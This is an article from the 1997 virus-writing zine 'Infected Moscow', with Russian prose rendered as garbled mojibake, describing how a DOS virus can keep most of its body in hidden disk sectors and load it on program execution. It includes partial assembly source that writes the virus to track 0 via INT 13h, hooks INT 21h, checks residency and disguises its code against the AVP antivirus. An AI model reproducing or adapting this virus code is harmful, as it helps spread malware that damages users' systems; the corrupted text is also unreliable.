旼컴컴컴컴컴컴컴컫컴쩡컴컴컴컫컴컴컴컴컴컴컴컴컴컴컴컴컴컴컫컴컴컴컴컴컴컴컴커 쿔NFECTED MOSCOW �#1� JAN'97 �(C)STEALTH Group MoscoW & Co � one@redline.ru~ � 읕컴컴컴컴컴컴컴컨컴좔컴컴컴컨컴컴컴컴컴컴컴컴컴컴컴컴컴컴컨컴컴컴컴컴컴컴컴켸 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴쩡컴컴컴컴컴컴컴컴컴컴컴커 � 룼�젮첓 � 캙э筍 � �´奭ⅸ�臾 ��ㄳ說㎫Ø�� �(C) LovinGOD � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴좔컴컴컴컴컴컴컴컴컴컴컴켸 뒶昔洙� 캙э筍 꼶묒�, ¡� � ��ゥ㎙� ˘席刺ぅ贍 � XMS, EMS � �昔葉� 쭬ⅰ쳽嶺瑜 쩆エ... � 첓� 췅淞β ˘說�� ヮ‘� 笹�┃�飡�, 쭬�º좐耀． � �〓嶺�� 캙э殊, ��, 稅젲��, 줎⒱ �汀以α汀 ? 꽞� 誓젷�쭬與� 쩆���． 젷．黍燧� ���▼�ㄸМ 誓鼇筍 笹ⅳ莘蟯� 쭬쩆葉: 1. 깶� 魚젺ⓥ� �αぎレぎ ㄵ碎洙�� 줎⒱ 誓㎤ㄵ�狩�． �□젩�洵Ø� ? + 뮔∥ⓩ� ´も�昔� + 뒥ぎ�-�Æ蝨� 쭬ゃ獸� 캙э殊 - �∥졹筍 飡ⅹ� DOS, ▲芯�� DOS � �.�. + 뜢‘レ溫� ∥�� 캙э殊 (AVPTSR, -D, VSAFE, ANTIAPE �� 誓젫ⓣ莘� 췅 �琉�ゥ��� 晨졹洙� 캙э殊 Д�ⅴ 20h 캙�젫�졽��. + 몾�‘ㄽ瑜 100h 줎⒱ 醒，���� 60 댾��レ㎯荻碎 DOS �黍 췅�젷彛�� 쭬｀習ぅ; 쭬�信殊收 COMMAND.COM, 쭬ħⓥ� � �硫ㄸ收 �� Windows, � �� 瑟Ħⓥ�, 譽� 將�� ゃ貰� 캙э殊 ㏇ⅲ쩆 ▲ㄵ� �β昔�呻. 2. 듽쩆 쭬｀拾졻� 收ギ ┬惜�� �□젩�洵Ø� ? 룼� ぎ�ζ RAM, � 醒，��瞬 > 9800h. 귣 쭬循β� 循젺㎤狩莘 �졹筍 COMMAND.COM, �� � 魚�� � �º, 췅 獸 �� �젹, 譽�〓 ⅲ� 쭬殊�졻�. 뤵飡� 稅젲β 召졹Æ�, 譽� ι� � �� 쭬�젳Œ�. 겓�� �琉�ワ筍 뛿 ��꼶. 궙 №�э �젩�瞬 ˘說�� �Ø獸 ⅲ� ゥ─③� �� �졹獸�- 曄�. 3. 깶� �涉�졻� 收ギ ┬惜�� ㄻ� ��ㅷⓥ猶젺⑨ � RAM ? + 뜝 �乘ⅱ�� ㄾ昔┴�. 뜋: � 聲筌� � �졹�ギㄸ�鼇Ж碎 boot-쵟췅％�젹�, �ⓤ젺�臾� ㄵ〃쳽Ж (쭬曄� boot-manager'� ‘レ蜈 �ㄽ�．, �� ㄲ愼 醒も�昔� ?), �恂栒�ⓥ� ㄵ碎獸�- ㅰ膝�� 醒も�昔�, �� �②ⓥα� 췅葉췅� � 0/0/2 + 깶�-�Æ蝨� 췅 ㄸ稅�... + 뙫┃� ι� ��ㅷⓥ猶졻藺� �� 쭬�젲����． �젵쳽. 뜮 將� �ギ若� 誓蜈��� - ㄻ� ��エМ雪Ø�, 鼇菴�쥯���． ˘說�� 쩆 � ¡�↓�... ------------------------------------------------------------------------- 댿젶, � 캙э殊 췅若ㄸ恂� �ⅰ�レ溫� �□젩�洵Ø INT 21h. 뤲� �留�´ ㎛좂좈ⅸ ㄻ� ˘說�� 押�ゆĿ �□젩�洵Ø 淞ⓥ猶젰� � 0 ㄾ昔┴� �飡젷彛�� 聲�� ぎ� ゃ쩆- �Æ蝨� ��� ぎ�ζ 640-えギ줎⒱��． �誓㎘舒�졷� � ��誓쩆β 承�젪ゥ��� 栒쩆. 꽡飡�Þ飡쥯: - 誓�젰恂� �昔∥�쵟 �▼�쩆 ㄵ收も�昔� ���젮え ˘說�� � 캙э筍 - ˘說� ��젶殊曄稅� �� ˘ㄵ� � 캙э殊 ㏇ゥㅱ手�� ⅲ� 쵟ギ� ㄻÞ� 뜢ㄾ飡졻え: - ���▼�ㄸМ飡� �젩�瞬 � ㄸ稅�� (稅�昔飡�, �貰‥���飡� � 쭬蟯耀��音 蓀ⅳ졾) ;--------------------------------------------------------------------------- ; 쭬．ギ¡� COM-�젵쳽 .MODEL TINY .CODE .RADIX 16 .386P ORG 100 ;--------------------------------------------------------------------------- VIR_SECCOUNT EQU 4 ; ぎエ曄飡¡ 醒も�昔�, ���▼�ㄸщ� ㄻ� ˘說�� SEC_SINCE EQU 0A ; ��Д� 醒も��� 췅 0 ㄾ昔┴�, �洙蝨� 췅葉췅筍 ; 쭬�ⓤ� 醒も�昔� OVL_SEG EQU 09A00 ; 醒，��� ��ㄳ說㎦� �´奭ⅸ��� �졹殊 ˘說�� ;--------------------------------------------------------------------------- START: VIRUS: ; ... ; αエ ˘說�� �β � 캙э殊, 獸 쭬�ⓤ猶젰� 收ギ 췅 ㄸ稅 � 0 ㄾ昔┴� � ; Þ飡젷エ說�� ˘說� � 캙э筍 ; (αエ �´奭ⅸ췅� �졹筍 拾� 췅 ㄸ稅�... М┃� �昔´黍筍, �� ㄻ� ´惜�飡� ; ャ預� �ⓤ젺�п� ι� �젳 PC_POSSESS: PUSH CS CS POP DS ES ; 쭬�ⓤ� 收쳽 ˘說�� 췅 ㄸ稅 MOV AX,0300+VIR_SECCOUNT MOV CX,0000+SEC_SINCE MOV DX,0080 MOV BX,BP ; � BP 魚젺ⓥ碎 細ι���� 췅�젷� ˘說�� CALL INT_13 JC CUREINRAM ; ��誓��� ��飡�輾��� 誓㎤ㄵ�狩�� �졹殊 ; �� 젮誓率 0060:0000 MOV AX,0060 MOV ES,AX MOV SI,BP ADD SI,SIXTYSEG-VIRUS XOR DI,DI MOV CX,(END_SIXTYSEG-SIXTYSEG)/4+1 CLD REP MOVSD ; ... 信�젺�˚� ���▼�ㄸщ� ´も�昔� (skipped) SIXTYSEG: ; 醒，��� 60 - ℓα� 췅若ㄸ恂� ��飡�輾췅� 誓㎤ㄵ�狩좑 ; �졹筍 �□젩�洵Ø�� �誓贍쥯�Ł MY21_60: ; �□젩�洵Ø INT 21h CMP AH,0F1 ; �手β 췅 쭬�昔� � 췅エ葉� ぎ�Ŀ � 캙э殊 JNE NXTFNC IRET ; �□젩�洵Ø 押�ゆĿ (ℓα� 4B00) NXTFNC: xchg ax,bx ; 젺殊-AVP (쭬蟯�� �∼졷拾��⑨ "CMP AX,4B00") CMP bx,4B00 xchg ax,bx JNE JMPF21_60 PUSHA PUSH DS ES MOV AX,OVL_SEG MOV ES,AX ; 淞ⓥ졻� � ㄸ稅� �´奭ⅸ�莘 �졹筍 �□젩�洵Ø� MOV AX,0200+VIR_SECCOUNT MOV CX,0000+SEC_SINCE MOV DX,0080 XOR BX,BX CALL INT_13 JC POP_JMPF21_60 ; �黍 �鼇―� 譽��⑨ �搜졻� 承�젪ゥ��� DB 0EA ; ��誓若� 췅 ��ㄳ說┘��硫 �□젩�洵Ø DD OVL_SEG*10000+(MY21-VIRUS) ; 獸囹� ¡㎖�졻� �� �´奭ⅸ��� �졹殊 CLEAR_OVL_EXIT21: POP_JMPF21_60: POP ES DS POPA JMPF21_60: DB 0EA OLD21_60 DD ? ;------------------------- �昔璵ㅳ�� �留�쥯 INT 13h ㄻ� 貰¸α殊М飡� � Win95 INT_13 PROC PUSH AX WIN_VER EQU $+1 MOV AL,00 CMP AL,4 POP AX JNE JUST_INT13 PUSHF DB 09A DD 007003EEh RETN JUST_INT13: INT 13 RETN INT_13 ENDP ;------------------------------------------------ END_SIXTYSEG: ;------------------- �´奭ⅸ췅� �졹筍 �□젩�洵Ø� OVERLAY: MY21: ; ... �□젩�洵Ø 押�ゆĿ skipped JMP 4 PTR CS:[TMP_RETFADDR-VIRUS] ; ¡㎖�졻 �� �´奭ⅸ��� �졹殊 � ; �說�˛莘 ㄻ� 쭬´殲��⑨ �□젩�洵Ø� ; �昔璵ㅳ�� ㄻ� �留�쥯 押�ゆŁ DOS �� �□젩�洵Ø� CALLDOS: PUSH 0060 POP FS PUSHF CALL 4 PTR FS:[OLD21_60-SIXTYSEG] RETN TMP_RETFADDR DD 00600000+(CLEAR_OVL_EXIT21-SIXTYSEG) ; 젮誓� ¡㎖�졻� END_OVERLAY: